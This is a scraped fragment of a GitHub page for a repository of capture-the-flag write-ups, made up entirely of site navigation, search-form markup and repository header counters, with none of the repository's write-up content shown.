2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="119350190" data-scoped-search-url="/nguyenduyhieukma/CTF-Writeups/search" data-owner-scoped-search-url="/users/nguyenduyhieukma/search" data-unscoped-search-url="/search" data-turbo="false" action="/nguyenduyhieukma/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="ldNspOUPe71U0mWBwe+jbX19WqsGIl/bH1K8dOGRtuLYE4bmc52imIYrq5r5ZWlDqwJWWc5q64JfoAotjo2Tqg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> nguyenduyhieukma </span> <span>/</span> CTF-Writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>3</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>75</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg 